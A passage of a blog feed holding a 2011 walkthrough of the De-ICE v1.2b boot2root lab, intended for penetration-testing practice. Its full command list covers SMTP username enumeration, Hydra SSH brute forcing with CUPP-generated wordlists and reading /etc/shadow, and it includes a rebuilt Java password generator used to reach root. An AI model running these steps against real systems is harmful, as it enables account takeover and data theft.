href="http://g0tmi1k.blogspot.com/2011/08/video-kioptrix-level-3.html"&gt;http://g0tmi1k.blogspot.com/2011/08/video-kioptrix-level-3.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/backtrack-5-videos/43762-%5Bvideo%5D-kioptrix-level-3-a.html#post204586"&gt;http://www.backtrack-linux.org/forums/backtrack-5-videos/43762-%5Bvideo%5D-kioptrix-level-3-a.html#post204586&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-1129277234539406425?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/1129277234539406425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-kioptrix-level-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/1129277234539406425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/1129277234539406425'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-kioptrix-level-3.html' title='[Video] Kioptrix - Level 3'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-4060988679341396512</id><published>2011-08-08T15:31:00.007+01:00</published><updated>2011-08-12T12:27:18.520+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='de-ice'/><title type='text'>[Video] De-ICE.net v1.2b (1.20b) {Level 1 - Disk 3 - Version B}</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line: &lt;a href="http://blip.tv/g0tmi1k/de-ice-v1-2b-1-120-5443965"&gt;http://blip.tv/g0tmi1k/de-ice-v1-2b-1-120-5443965&lt;/a&gt;&lt;br /&gt;Download video: &lt;a href="http://www.mediafire.com/?8gajaiu58f7rccd"&gt;http://www.mediafire.com/?8gajaiu58f7rccd&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFgsyjYQA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFgsyjYQA" src="http://a.blip.tv/api.swf#hdkFgsyjYQA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;div style="color: red;"&gt;Brief Overview &lt;/div&gt;The "&lt;a href="http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html"&gt;vulnerable-by-design&lt;/a&gt;" series &lt;a href="http://g0tmi1k.blogspot.com/search/label/de-ice"&gt;De-ICE&lt;/a&gt;, has released another challenge. However, it's in two different parts - &lt;i&gt;which makes the naming more confusing! &lt;/i&gt;This is De-ICE level 1-disk 3, the second half, and it should &lt;b&gt;not&lt;/b&gt; be confused with "&lt;b&gt;version a&lt;/b&gt;" (de-ice-1.120-1.0a.iso aka &lt;a href="http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12a-120a-level-1-disk.html"&gt;Level 1-Disk 3-Release 1-Version A&lt;/a&gt;), as these are &lt;b&gt;NOT the same challenge&lt;/b&gt; -&lt;i&gt; it's a completely independent challenge&lt;/i&gt;&lt;i&gt;.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;The students of "HackingDojo" produced their own exploitable LiveCD which was released under the de-ice name. This is it. To date all of &lt;a href="http://forums.heorot.net/"&gt;Heorot.net&lt;/a&gt; releases &lt;i&gt;(in date order)&lt;/i&gt; are as follows:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=13"&gt;De-ICE - Level 1 - Disk 1&lt;/a&gt; &lt;i&gt;(de-ice.net-1.100-1.1.iso)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=13"&gt;De-ICE - Level 1 - Disk 2&lt;/a&gt; &lt;i&gt;(de-ice.net-1.110-1.0.iso) &lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewforum.php?f=18"&gt;De-ICE - Level 2 - Disk 1&lt;/a&gt; &lt;i&gt;(de-ice.net-2.100-1.1.iso)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=21&amp;amp;t=149"&gt;pWnOS&lt;/a&gt; &lt;i&gt;(pWnOS v1.0.zip)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=42&amp;amp;t=203&amp;amp;st=0&amp;amp;sk=t&amp;amp;sd=a&amp;amp;hilit=hackerdemia"&gt;Hackerdemia&lt;/a&gt; &lt;i&gt;(&lt;span class="posthilit"&gt;hackerdemia&lt;/span&gt;-1.1.0.iso)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=482"&gt;De-ICE - Level 1 - Disk 3 - Version A&lt;/a&gt; &lt;i&gt;(de-ice-1.120-1.0a.iso)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=482"&gt;De-ICE - Level 1 - Disk 3 - Version B&lt;/a&gt; &lt;i&gt;(de-ice-1.120-1.0b.iso)&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;Pre-setup (configured IP as the host has a static IP in 192.168.1.0/24 range)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Scan network for the host (nmap)&lt;/li&gt;&lt;li&gt;Port scanned host (unicornscan)&lt;/li&gt;&lt;li&gt;Enumerated running services running open ports (nmap)&lt;/li&gt;&lt;li&gt;Enumerated possible username(s) (Netcat)&amp;nbsp;&lt;/li&gt;&lt;li&gt;Brute forced login details (Hydra)&lt;/li&gt;&lt;li&gt;Profiled other users (CUPP) &lt;/li&gt;&lt;li&gt;Escalated privilege by re-creating custom encryption program (Java)&lt;/li&gt;&lt;li&gt;&lt;i&gt;Found the "flag" (a database file)&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need? &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=482"&gt;de-ice-1.120-1.0b.iso&lt;/a&gt; &lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5: 5AFEA4D036681093408AE493D4BD2672)&lt;/span&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Spare or a Virtual machine &lt;i&gt;(Example: &lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt; or &lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;nmap&lt;/a&gt; – &lt;i&gt;(Can be found on &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.unicornscan.org/"&gt;unicornscan&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://thc.org/thc-hydra/"&gt;hydra&lt;/a&gt; &lt;i&gt;– (Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.remote-exploit.org/?page_id=418"&gt;Common User Passwords Profiler&lt;/a&gt; &lt;i&gt;– (Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html"&gt;Java compiler&lt;/a&gt; &lt;i&gt;– (Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough &lt;/div&gt;By doing a quick "ping" scan with nmap, it reveals the live hosts on the network. Once the target has been discovered, a detailed port scan (TCP &amp;amp; UDP) was taken via unicornscan. The results were then checked with another detailed TCP port scan as well as enumerating which services are running by using nmap. Unicornscan is quicker doing a port scan (especially with UDP scanning). However, nmap has the upside of it being able to do more by "information gathering", for example "OS detection", "version detection of services", "a collection of script scanning" and "traceroute details" (by using "-a" option). The attacker also increases the scan speed (by "-T4"). Nmap also confirms TCP port 80 is open, which is being used for a web server (it's also the default port). &lt;br /&gt;&lt;br /&gt;The attacker interacts with the web server and is presented with the "Company Portal" page. There is a message explaining that it the web site is "under maintenance", with methods of contact - a telephone number and email address.&lt;br /&gt;&lt;br /&gt;The port scan revealed that there was a SMTP service running and decided to attempt to use the email address to identity possible usernames. The first method (VRFY) was disabled, so the attacker proceeds to draft an email. Depending on the recipient's name it will return if the account is valid or not. The attacker then tries different combinations of the given email address (&lt;b&gt;C&lt;/b&gt;ustomer&lt;b&gt;S&lt;/b&gt;ervice&lt;b&gt;Admin&lt;/b&gt;@nosecbank.com) until they find its valid login, csadmin.&lt;br /&gt;&lt;br /&gt;The attacker then searches for a wordlist to aid them in attempting to brute force the password. (&lt;i&gt;Editor's note: darkc0de.lst does contain the password. however it would of taken a lot longer for it to reach it)&lt;/i&gt;. The attacker starts hydra attacking the SSH service and waits for it to try every entry in the file. After waiting a couple of minutes &lt;i&gt;(due to the small size of the wordlist)&lt;/i&gt; the attacker found the valid password, 'rocker'.&lt;br /&gt;&lt;br /&gt;Upon logging into the system remotely, the attacker finds if there are any other valid users in the system (the result is 4). The attacker then continues on by browsing the users (csadmin) personal folder. The attacker soon discovers a personal email conversation between the staff members. These emails contain personal information regarding each user - &lt;i&gt;which is also commonly used as their password.&lt;/i&gt; &lt;br /&gt;&lt;br /&gt;After building up the profile for each user, the attacker then generates possible passwords using this information, by using CUPP &lt;i&gt;(Common User Passwords Profiler)&lt;/i&gt;. The attacker enters in the collected information and waits for the possible combinations to be generated. They then repeat the brute force attempt, this time with a specific wordlist, tailor made for that user. This quickly found the user (sdadmin) password (his child's name and year of birth - donovin1998).&lt;br /&gt;&lt;br /&gt;The attacker logs in with the new credentials and views his personal files and soon discovers a reply to the email, which contains more personal information regarding another staff member (as well as negative feeling towards them!). The whole process is then repeated again for the new user (dbadmin), who also used personal information for his password (nickname and a few numbers at the end-databaser60).&lt;br /&gt;&lt;br /&gt;When the attacker logs in once again, they soon find the first part to an email which has been in every user account so far. Then contents of the email has been "corrupted", however, the header file of the message is still in contact. The subject of the message implies the purpose of it, "New Custom Encryption for Passwords". The attacker then extracts the printable characters, which shows the beginning of the possible source code.&lt;br /&gt;&lt;br /&gt;The attacker then builds up the code, from the three found parts so far, which has been written in java and the function of it was the generation function for the new passwords policy. There are comments left in the code, saying it has already been used on two accounts (sysadmin and root). The attacker then fixes, cleans and adds the code (input &amp;amp; conversion functions).&lt;br /&gt;&lt;br /&gt;Once the program was complete, the attacker runs it to generate the passwords for sysadmin and the root account. They then test the passwords by logging into the system as sysadmin and then switching to the super user account, root.&lt;br /&gt;&lt;br /&gt;The attacker now has access to the complete system...&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;...and choose to explore. They find a message, left in the sysadmin home folder, explaining that the user account file has been updated, encrypted and moved. The attacker then locates this file, and by trying all the encryption algorithms with the super user's password, they were able to decrypt the file and view the content in plain text - revealing customers' details, such as names, email addresses, usernames, passwords and more!&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over...&lt;i&gt;again&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt; &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;ifconfig eth0&lt;br /&gt;ifconfig eth0 192.168.1.192&lt;br /&gt;ifconfig eth0&lt;br /&gt;nmap 192.168.1.* -n -sn -sP&lt;br /&gt;us -H -msf -Iv 192.168.1.20 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.1.20 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A -v 192.168.1.20&lt;br /&gt;firefox 192.168.1.20    # customerserviceadmin@nosecbank.com&lt;br /&gt;nc -v 192.168.1.20 25&lt;br /&gt;HELO attacker&lt;br /&gt;VRFY customerserviceadmin&lt;br /&gt;mail from: attacker@slax.example.net&lt;br /&gt;rcpt to: customerserviceadmin&lt;br /&gt;rcpt to: csadmin&lt;br /&gt;quit&lt;br /&gt;wc -l /pentest/passwords/wordlists/darkc0de.lst&lt;br /&gt;find / -name password.lst&lt;br /&gt;wc -l /opt/framework3/msf3/data/john/wordlists/password.lst&lt;br /&gt;hydra -l csadmin -P /opt/framework3/msf3/data/john/wordlists/password.lst -e ns -f 192.168.1.20 ssh 2&amp;gt;/dev/null | tee /tmp/output&lt;br /&gt;ssh csadmin@192.168.1.20   # rocker&lt;br /&gt;id&lt;br /&gt;cat /etc/passwd   # sysadmin, dbadmin, sdadmin, csadmin&lt;br /&gt;pwd&lt;br /&gt;ls -lah&lt;br /&gt;cd mailserv_download/&lt;br /&gt;ls -lah&lt;br /&gt;cat * | less    # @nosecbank.com, sdadmin (Paul, Donovin, 21 Dec 1998), csadmin (Mark, Andy)&lt;br /&gt;exit&lt;br /&gt;cd /pentest/passwords/cupp/&lt;br /&gt;python cupp.py -i   # Paul, Donovin, 22121998, nosecbank&lt;br /&gt;hydra -l sdadmin -P paul.txt -e ns -f 192.168.1.20 ssh 2&amp;gt;/dev/null | tee -a /tmp/output&lt;br /&gt;ssh sdadmin@192.168.1.20   # donovin1998&lt;br /&gt;id&lt;br /&gt;pwd&lt;br /&gt;ls -lah&lt;br /&gt;cd mailserv_download/&lt;br /&gt;ls -lah&lt;br /&gt;cat * | less    # dbadmin (Fred, databaser)&lt;br /&gt;exit&lt;br /&gt;python cupp.py -i   # Fred, databaser, nosecbank&lt;br /&gt;hydra -l dbadmin -P fred.txt -e ns -f 192.168.1.20 ssh 2&amp;gt;/dev/null | tee -a /tmp/output&lt;br /&gt;ssh dbadmin@192.168.1.20   # databaser60&lt;br /&gt;id&lt;br /&gt;pwd&lt;br /&gt;ls -lah&lt;br /&gt;cd mailserv_download/&lt;br /&gt;ls -lah&lt;br /&gt;cat * | less   # sysadmin, New Custom Encryption for Passwords&lt;br /&gt;umask 002&lt;br /&gt;strings ~/mailserv_download/2010122216451.f81Ltw4R010211.part1 | cut -f2- |  sed 's/[ \t]*//' |  sed -n '/^[0-9]*\t/p' &amp;gt; /tmp/output&lt;br /&gt;su csadmin   # rocker&lt;br /&gt;strings ~/mailserv_download/2010122216451.f81Ltw4R010211.part2 | cut -f2- |  sed 's/[ \t]*//' |  sed -n '/^[0-9]*\t/p' &amp;gt;&amp;gt; /tmp/output&lt;br /&gt;su sdadmin   # donovin1998&lt;br /&gt;strings ~/mailserv_download/2010122216451.f81Ltw4R010211.part3 | cut -f2- |  sed 's/[ \t]*//' |  sed -n '/^[0-9]*\t/p' &amp;gt;&amp;gt; /tmp/output&lt;br /&gt;cat /tmp/output | sort -g&lt;br /&gt;cat /tmp/output | sort -g | cut -f2-&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;geany deice.java&lt;br /&gt;less deice.java&lt;br /&gt;javac deice.java&lt;br /&gt;java deice    # sysadmin - 531/{{tor/rv/A&lt;br /&gt;java deice    # root - 31/Fwxw+2&lt;br /&gt;ssh sysadmin@192.168.1.20   # 7531/{{tor/rv/A&lt;br /&gt;id&lt;br /&gt;su -    # 31/Fwxw+2&lt;br /&gt;id &amp;amp;&amp;amp; /sbin/ifconfig &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp; ls -lAh ~/&lt;br /&gt;pwd&lt;br /&gt;exit&lt;br /&gt;pwd&lt;br /&gt;ls&lt;br /&gt;cat Note_to_self&lt;br /&gt;ls -lAhR /home&lt;br /&gt;cd /home/ftp/incoming/&lt;br /&gt;ls -l&lt;br /&gt;openssl -h&lt;br /&gt;openssl enc -in useracc_update.csv.enc -out useracc_update.csv -d -aes-256-cbc -k "31/Fwxw+2"&lt;br /&gt;su -c 'openssl enc -in useracc_update.csv.enc -out useracc_update.csv -d -aes-256-cbc -k "31/Fwxw+2"'   # 31/Fwxw+2&lt;br /&gt;ls -l&lt;br /&gt;cat useracc_update.csv&lt;/pre&gt;&lt;/div&gt;&lt;span style="color: red;"&gt;deice.java&lt;/span&gt; &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;import java.io.*;&lt;br /&gt;//import java.util.Arrays;&lt;br /&gt;&lt;br /&gt;public class deice&lt;br /&gt;{&lt;br /&gt; public static void main(String[] args)&lt;br /&gt; {&lt;br /&gt;    try&lt;br /&gt;    {&lt;br /&gt;       System.out.println("[&amp;gt;] De-ICE.net v1.2b (1.20b) Password Generator");&lt;br /&gt;&lt;br /&gt;       BufferedReader in=new BufferedReader(new InputStreamReader(System.in));&lt;br /&gt;       System.out.print("[?] Username: ");&lt;br /&gt;       String input=in.readLine();&lt;br /&gt;&lt;br /&gt;       int[] output=processLoop(input);&lt;br /&gt;       //System.out.println("[+] Output: "+Arrays.toString(output));&lt;br /&gt;&lt;br /&gt;       String outputASCII="";&lt;br /&gt;       for(int i=0;i&amp;lt;output.length;i++) outputASCII+=(char) output[i];&lt;br /&gt;       System.out.println("[&amp;gt;] Password: "+outputASCII);&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;    catch(IOException e)&lt;br /&gt;    {&lt;br /&gt;       System.out.println("[-] IO Error!");&lt;br /&gt;    }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /*input is username of account*/&lt;br /&gt; public static int[] processLoop(String input){&lt;br /&gt;    int strL=input.length();&lt;br /&gt;    int lChar=(int)input.charAt(strL-1);&lt;br /&gt;    int fChar=(int)input.charAt(0);&lt;br /&gt;    int[] encArr=new int[strL+2];&lt;br /&gt;    encArr[0]=(int)lChar;&lt;br /&gt;&lt;br /&gt;    for(int i=1;i&amp;lt;strL+1;i++) encArr[i]=(int)input.charAt(i-1);&lt;br /&gt;&lt;br /&gt;    encArr[encArr.length-1]=(int)fChar;&lt;br /&gt;    encArr=backLoop(encArr);&lt;br /&gt;    encArr=loopBack(encArr);&lt;br /&gt;    encArr=loopProcess(encArr);&lt;br /&gt;    int j=encArr.length-1;&lt;br /&gt;&lt;br /&gt;    for(int i=0;i&amp;lt;encArr.length;i++){&lt;br /&gt;       if(i==j) break;&lt;br /&gt;       int t=encArr[i];&lt;br /&gt;       encArr[i]=encArr[j];&lt;br /&gt;       encArr[j]=t;&lt;br /&gt;       j--;&lt;br /&gt;    }&lt;br /&gt;    return encArr;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /*Note the pseudocode will be implemented with the&lt;br /&gt; root account and my account, we still need to implement it with the csadmin, sdadmin,&lt;br /&gt; and dbadmin accounts though*/&lt;br /&gt; public static int[] backLoop(int[] input){&lt;br /&gt;    int ref=input.length;&lt;br /&gt;    int a=input[1];&lt;br /&gt;    int b=input[ref-1];&lt;br /&gt;    int ch=(a+b)/2;&lt;br /&gt;&lt;br /&gt;    for(int i=0;i&amp;lt;ref;i++){&lt;br /&gt;       if(i%2==0) input[i]=(input[i]%ch)+(ref+i);&lt;br /&gt;       else input[i]=(input[i]+ref+i);&lt;br /&gt;    }&lt;br /&gt;    return input;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; public static int[] loopBack(int[] input){&lt;br /&gt;    int ref=input.length/2;&lt;br /&gt;    int[] encNew=new int[input.length+ref];&lt;br /&gt;    int ch=0;&lt;br /&gt;&lt;br /&gt;    for(int i=(ref/2);i&amp;lt;input.length;i++){&lt;br /&gt;       encNew[i]=input[ch];&lt;br /&gt;       ch++;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    for(int i=0;i&amp;lt;encNew.length;i++){&lt;br /&gt;       if(encNew[i]&amp;lt;=33) encNew[i]=33+(++ref*2);&lt;br /&gt;       else if(encNew[i]&amp;gt;=126) encNew[i]=126-(--ref*2);&lt;br /&gt;       else{&lt;br /&gt;          if(i%2==0) encNew[i]-=(i%3);&lt;br /&gt;          else encNew[i]+=(i%2);&lt;br /&gt;       }&lt;br /&gt;    }&lt;br /&gt;    return encNew;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; public static int[] loopProcess(int[] input){&lt;br /&gt;    for(int i=0;i&amp;lt;input.length;i++){&lt;br /&gt;       if(input[i]==40||input[i]==41) input[i]+=input.length;&lt;br /&gt;       else if(input[i]==45) input[i]+=20+i;&lt;br /&gt;    }&lt;br /&gt;    return input;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt; &lt;br /&gt;&lt;ul&gt;&lt;li&gt;De-ICE.net v1.2b has a static IP address of 192.168.1.20. &lt;i&gt;Make sure you're on the same subnet as it!&lt;/i&gt;&lt;/li&gt;&lt;li&gt;The wordlist used (part of the metasploit framework) to brute force csadmin, might have been updated since - &lt;i&gt;You may have to use another wordlist. &lt;/i&gt;&lt;/li&gt;&lt;li&gt;I made a couple of mistakes in the video (For example: nosec instead of nosecbank)&lt;i&gt; - it's worth checking the commands subsection!&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;Song: &lt;a href="http://www.play.com/Music/CD/4-/18438466/We-Love-Trance/Product.html"&gt;Electronic Sympathies - Shanti&lt;/a&gt; &amp;amp; &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/9474389/Punk/Product.html?aid=9471183"&gt;Punk (Radio Edit) - Ferry Corsten&lt;/a&gt;&lt;br /&gt;Video length: 10:48&lt;br /&gt;Capture length: 40:01&lt;br /&gt;Blog Post: &lt;a href="http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12b-120b-level-1-disk.html"&gt;http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12b-120b-level-1-disk.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=507"&gt;http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=507&lt;/a&gt; &amp;amp; &lt;a href="http://www.backtrack-linux.org/forums/backtrack-5-videos/43651-%5Bvideo%5D-de-ice-net-v1-2b-1-20b-%7Blevel-1-disk-3-version-b%7D.html#post204395"&gt;http://www.backtrack-linux.org/forums/backtrack-5-videos/43651-%5Bvideo%5D-de-ice-net-v1-2b-1-20b-%7Blevel-1-disk-3-version-b%7D.html#post204395&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-4060988679341396512?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/4060988679341396512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12b-120b-level-1-disk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/4060988679341396512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/4060988679341396512'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12b-120b-level-1-disk.html' title='[Video] De-ICE.net v1.2b (1.20b) {Level 1 - Disk 3 - Version B}'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-8344582204609380719</id><published>2011-08-03T00:13:00.014+01:00</published><updated>2011-08-12T12:30:45.727+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='de-ice'/><title type='text'>[Video] De-ICE.net v1.2a (1.20a) {Level 1 - Disk 3 - Version A}</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line: &lt;a href="http://blip.tv/g0tmi1k/de-ice-v1-2a-1-120-5434302"&gt;http://blip.tv/g0tmi1k/de-ice-v1-2a-1-120-5434302&lt;/a&gt;&lt;br /&gt;Download video: &lt;a href="http://www.mediafire.com/?8sgsv5qwtbbnyim"&gt;http://www.mediafire.com/?8sgsv5qwtbbnyim&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFgsvYIgA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFgsvYIgA" src="http://a.blip.tv/api.swf#hdkFgsvYIgA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;div style="color: red;"&gt;Brief Overview &lt;/div&gt;&lt;a href="http://g0tmi1k.blogspot.com/search/label/de-ice"&gt;De-ICE&lt;/a&gt; has another challenge in its "&lt;a href="http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html"&gt;vulnerable-by-design&lt;/a&gt;" series - &lt;i&gt;even though the naming gets more confusing with every release!&lt;/i&gt; It's been a while since the last release, level 2-disk 1 (back in 2007). The students of "HackingDojo" were challenged to put together their own exploitable LiveCD, and it was released under the de-ice name. This is "&lt;b&gt;version a&lt;/b&gt;", and should be &lt;b&gt;not confused&lt;/b&gt; with "&lt;b&gt;version B&lt;/b&gt;" (de-ice-1.120-1.0b.iso aka&lt;a href="http://g0tmi1k.blogspot.com/2011/08/video-de-icenet-v12b-120b-level-1-disk.html"&gt; Level 1-Disk 3-Release 1-Version B&lt;/a&gt;), as these are &lt;b&gt;NOT the same challenge&lt;/b&gt; -&lt;i&gt; it's a different setup.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://forums.heorot.net/"&gt;Heorot.net&lt;/a&gt; release's &lt;i&gt;(in date order)&lt;/i&gt;:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=13"&gt;De-ICE - Level 1 - Disk 1&lt;/a&gt; &lt;i&gt;(de-ice.net-1.100-1.1.iso)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=13"&gt;De-ICE - Level 1 - Disk 2&lt;/a&gt; &lt;i&gt;(de-ice.net-1.110-1.0.iso) &lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewforum.php?f=18"&gt;De-ICE - Level 2 - Disk 1&lt;/a&gt; &lt;i&gt;(de-ice.net-2.100-1.1.iso)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=21&amp;amp;t=149"&gt;pWnOS&lt;/a&gt; &lt;i&gt;(pWnOS v1.0.zip)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=42&amp;amp;t=203&amp;amp;st=0&amp;amp;sk=t&amp;amp;sd=a&amp;amp;hilit=hackerdemia"&gt;Hackerdemia&lt;/a&gt; &lt;i&gt;(&lt;span class="posthilit"&gt;hackerdemia&lt;/span&gt;-1.1.0.iso)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.heorot.net/viewtopic.php?f=16&amp;amp;t=482"&gt;De-ICE - Level 1 - Disk 3 - Version A&lt;/a&gt; &lt;i&gt;(de-ice-1.120-1.0a.iso)&lt;/i&gt;&lt;/li&gt;